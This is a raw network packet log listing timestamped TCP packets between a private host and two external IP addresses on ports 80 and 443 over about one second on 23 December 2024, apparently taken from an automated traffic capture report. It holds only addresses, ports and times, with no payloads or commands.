Dec 23, 2024 06:53:40.767112017 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.767888069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.768062115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.768101931 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.768831015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.768938065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.768979073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.769777060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.769890070 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.769932032 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.770705938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.770823002 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.770864964 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.771692038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.771778107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.771821022 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.772589922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.772696018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.772736073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.773550034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.773634911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.773674965 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.774552107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.774663925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.774699926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.775433064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.775577068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.775613070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.776350021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.776451111 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.776490927 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.777297020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.777391911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.777435064 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.778239012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.820316076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.838355064 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:40.838424921 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:40.840101957 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:40.840121984 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:40.840384960 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:40.842083931 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:40.842129946 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:40.842139006 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:40.842286110 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:40.850693941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.887339115 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:40.921108961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.921221972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.921299934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.921478033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.921616077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.921659946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.922426939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.922528982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.922579050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.923362970 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.923480034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.923527002 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.924325943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.924397945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.924442053 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.925240040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.925309896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.925354958 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.926177979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.926278114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.926320076 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.927129984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.927244902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.927290916 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.928045988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.928169012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.928215981 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.929002047 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.929125071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.929172039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.929989100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.930218935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.930275917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.930886030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.930943966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.930983067 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.931822062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.931869984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.931911945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.932758093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.932847023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.932893038 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.933696032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.933845997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.933890104 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.934633017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.934798956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.934840918 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.935584068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.935695887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.935739994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.936517000 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.936594963 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.936638117 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.937490940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.937597990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.937645912 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.938383102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.938488960 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.938535929 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.939352036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.939451933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.939496994 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.940263987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.940411091 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.940454960 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.941205978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.941310883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.941354990 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.942152023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.942257881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.942306995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.943106890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.943191051 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.943233013 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.944036961 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.944228888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.944274902 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.945007086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.945107937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.945152044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.945910931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.946014881 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.946068048 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.946844101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.946965933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.947007895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.947791100 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.947999954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.948045969 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.948724985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.948836088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.948878050 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.949661016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.949779034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.949836969 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.950603962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.950711966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.950753927 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.951575994 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.951672077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.951720953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.952497005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.952594042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.952640057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.953428030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.953557968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.953599930 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.954356909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.954478025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.954523087 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.955327988 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.955463886 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.955507040 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.956231117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.956336975 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.956386089 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.957184076 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.957283974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.957329988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.958121061 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.958236933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.958286047 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.959053040 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.959208012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.959249973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.960043907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.960155010 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.960200071 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.960938931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.961050987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.961129904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.961863041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.961956978 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.962008953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.962836027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.962960005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.963006973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.963764906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.963872910 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.963923931 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.964683056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.964792013 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.964834929 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.965617895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.965719938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.965765953 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.966574907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.966690063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.966737986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.967511892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.967633009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.967678070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.968497992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.968636036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.968677044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.969388962 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.969506025 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:40.969547987 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:40.970338106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.023449898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.113423109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.113446951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.113584995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.113641024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.113750935 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.113797903 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.114754915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.114881039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.114931107 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.115528107 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.115658998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.115703106 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.116470098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.116615057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.116683960 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.117422104 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.117522001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.117587090 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.118341923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.118443012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.118484020 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.119268894 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.119415998 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.119483948 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.120224953 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.120340109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.120403051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.121164083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.121254921 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.121299982 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.276093006 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.395643950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.536521912 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:41.536621094 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:41.536756039 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:41.536964893 CET	49769	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:53:41.536998987 CET	443	49769	20.198.119.84	192.168.2.6
Dec 23, 2024 06:53:41.779036045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779052019 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779063940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779083014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779093981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779107094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779109001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.779149055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.779982090 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.779998064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.780014038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.780026913 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.780040979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.780052900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.780059099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.780069113 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.780100107 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.838053942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.838157892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.838238001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.838398933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.838509083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.838550091 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.838591099 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.839087009 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.839180946 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.839193106 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.840063095 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.840105057 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.840210915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.840966940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.841052055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.841097116 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.841896057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.841995001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.842077971 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.842834949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.842967033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.843015909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.843765974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.843822002 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.843873024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.844707012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.844796896 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.844830990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.845643044 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.845741987 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.845753908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.846606016 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.846679926 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.846745968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.847471952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.847528934 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.963079929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.963131905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.963258982 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.963470936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.963639021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.964415073 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.964449883 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.964478016 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.964504957 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.965110064 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.965217113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.965254068 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.966052055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.966155052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.966744900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.967001915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.967094898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.967958927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.968003988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.968034983 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.968070984 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.968904018 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.969003916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.969851017 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.969894886 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.969933987 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.969971895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.970765114 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.970860004 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.971713066 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.971765995 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.971796989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.971832037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.972652912 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.972747087 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.972793102 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.973572969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.973697901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.974519968 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.974574089 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:41.974601030 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:41.974634886 CET	49758	80	192.168.2.6	185.215.113.16
